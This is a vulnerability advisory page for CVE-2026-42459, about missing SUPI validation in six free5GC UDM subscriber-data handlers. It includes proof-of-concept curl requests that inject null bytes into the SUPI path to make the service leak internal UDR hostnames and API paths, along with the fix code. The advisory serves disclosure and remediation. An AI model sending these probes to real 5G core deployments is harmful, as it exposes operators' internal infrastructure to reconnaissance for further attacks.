Skip to main content

free5GC UDM EUVD-2026-32554

| CVE-2026-42459 HIGH
Improper Input Validation (CWE-20)
2026-05-07 https://github.com/free5gc/free5gc GHSA-585v-hcgf-jhfr
7.7
CVSS 4.0
Share

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

8
Analysis Updated
May 27, 2026 - 19:46 vuln.today
v3 (cvss_changed)
Analysis Updated
May 27, 2026 - 19:46 vuln.today
v2 (cvss_changed)
Patch available
May 27, 2026 - 19:46 EUVD
Re-analysis Queued
May 27, 2026 - 19:37 vuln.today
cvss_changed
CVSS changed
May 27, 2026 - 19:37 NVD
7.7 (HIGH)
Source Code Evidence Fetched
May 07, 2026 - 02:31 vuln.today
Analysis Generated
May 07, 2026 - 02:31 vuln.today
CVE Published
May 07, 2026 - 02:09 nvd
HIGH

DescriptionNVD

Summary

The free5GC UDM component fails to validate the supi path parameter in six GET handlers of the nudm-sdm (Subscriber Data Management) service. An unauthenticated attacker can inject control characters into the SUPI parameter, causing UDM to forward a malformed request to UDR and return a 500 Internal Server Error response that exposes internal infrastructure details.

Affected Package

  • Ecosystem: Go
  • Package: github.com/free5gc/udm
  • Affected versions: <= v1.4.2
  • Patched versions: none yet

Details

The following handlers in internal/sbi/api_subscriberdatamanagement.go do not call validator.IsValidSupi() before passing the supi parameter to the processor:

  • HandleGetSmfSelectData - GET /:supi/smf-select-data
  • HandleGetSupi - GET /:supi
  • HandleGetTraceData - GET /:supi/trace-data
  • HandleGetUeContextInSmfData - GET /:supi/ue-context-in-smf-data
  • HandleGetNssai - GET /:supi/nssai
  • HandleGetSmData - GET /:supi/sm-data

By contrast, HandleGetAmData in the same file correctly validates the supi parameter:

go
// HandleGetAmData - correctly validates (not vulnerable)
supi := c.Params.ByName("supi")
if !validator.IsValidSupi(supi) {
    c.JSON(http.StatusBadRequest, problemDetail)
    return
}

// HandleGetSmfSelectData - missing validation (vulnerable)
supi := c.Params.ByName("supi")
// ← no validator.IsValidSupi(supi) call
s.Processor().GetSmfSelectDataProcedure(c, supi, plmnID, supportedFeatures)

The malformed supi is passed to the processor which constructs a URL to forward the request to UDR. Go's net/url parser rejects the URL containing control characters and returns an error. UDM catches this error and responds with a 500 SYSTEM_FAILURE that includes the full internal UDR URL in the detail field.

This is a missed fix of CVE-2026-27642, which applied the same validator.IsValidSupi() check only to internal/sbi/api_ueauthentication.go (HandleConfirmAuth and HandleGenerateAuthData), leaving the SDM service handlers unpatched.

Proof of Concept

bash
# Vulnerable - returns 500 with internal UDR URL exposed
curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/smf-select-data"
curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/nssai"
curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/trace-data"
curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/sm-data"
# Expected (vulnerable) response:
# HTTP 500
# {
#   "title": "System failure",
#   "status": 500,
#   "detail": "parse \"http://udr.internal:80/nudr-dr/v2/subscription-data/imsi-22277\x00INJECTED//provisioned-data/smf-selection-subscription-data\": net/url: invalid control character in URL",
#   "cause": "SYSTEM_FAILURE"
# }
# Protected endpoint (for comparison) - returns 400
curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/am-data"
# HTTP 400
# {"title":"Malformed request syntax","status":400,"detail":"Supi is invalid","cause":"MANDATORY_IE_INCORRECT"}

Impact

An unauthenticated remote attacker can send a crafted GET request to any of the six affected endpoints to obtain:

  1. Internal UDR hostname and port
  2. Full internal API path structure (/nudr-dr/v2/subscription-data/...)
  3. UDR API version
  4. Internal service naming convention

This information can be used to facilitate further attacks against the UDR or other internal 5G core components.

Recommended Fix

Add validator.IsValidSupi() to all six affected handlers, following the pattern already used in HandleGetAmData:

go
supi := c.Params.ByName("supi")
if !validator.IsValidSupi(supi) {
    problemDetail := models.ProblemDetails{
        Title:  "Malformed request syntax",
        Status: http.StatusBadRequest,
        Detail: "Supi is invalid",
        Cause:  "MANDATORY_IE_INCORRECT",
    }
    c.Set(sbi.IN_PB_DETAILS_CTX_STR, http.StatusText(int(problemDetail.Status)))
    c.JSON(int(problemDetail.Status), problemDetail)
    return
}

AnalysisAI

Internal infrastructure disclosure in the free5GC UDM network function (Go package github.com/free5gc/udm, versions <= v1.4.2) lets unauthenticated remote attackers leak the internal address and API layout of the UDR. Six GET handlers in the nudm-sdm Subscriber Data Management service skip the validator.IsValidSupi() check, so a SUPI path parameter containing control characters (e.g. …

Sign in for full analysis, threat intelligence, and remediation guidance.

RemediationAI

Within 24 hours: identify all free5GC UDM deployments running v1.4.2 or earlier; immediately restrict network access to UDM services to only authorized 5G function consumers using firewall rules or network segmentation. Within 7 days: deploy request filtering (WAF or IPS rules) to block HTTP requests containing NULL bytes and control characters in URI path parameters; implement comprehensive audit logging of all UDM API requests including rejected requests. …

Sign in for detailed remediation steps.

Share

EUVD-2026-32554 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy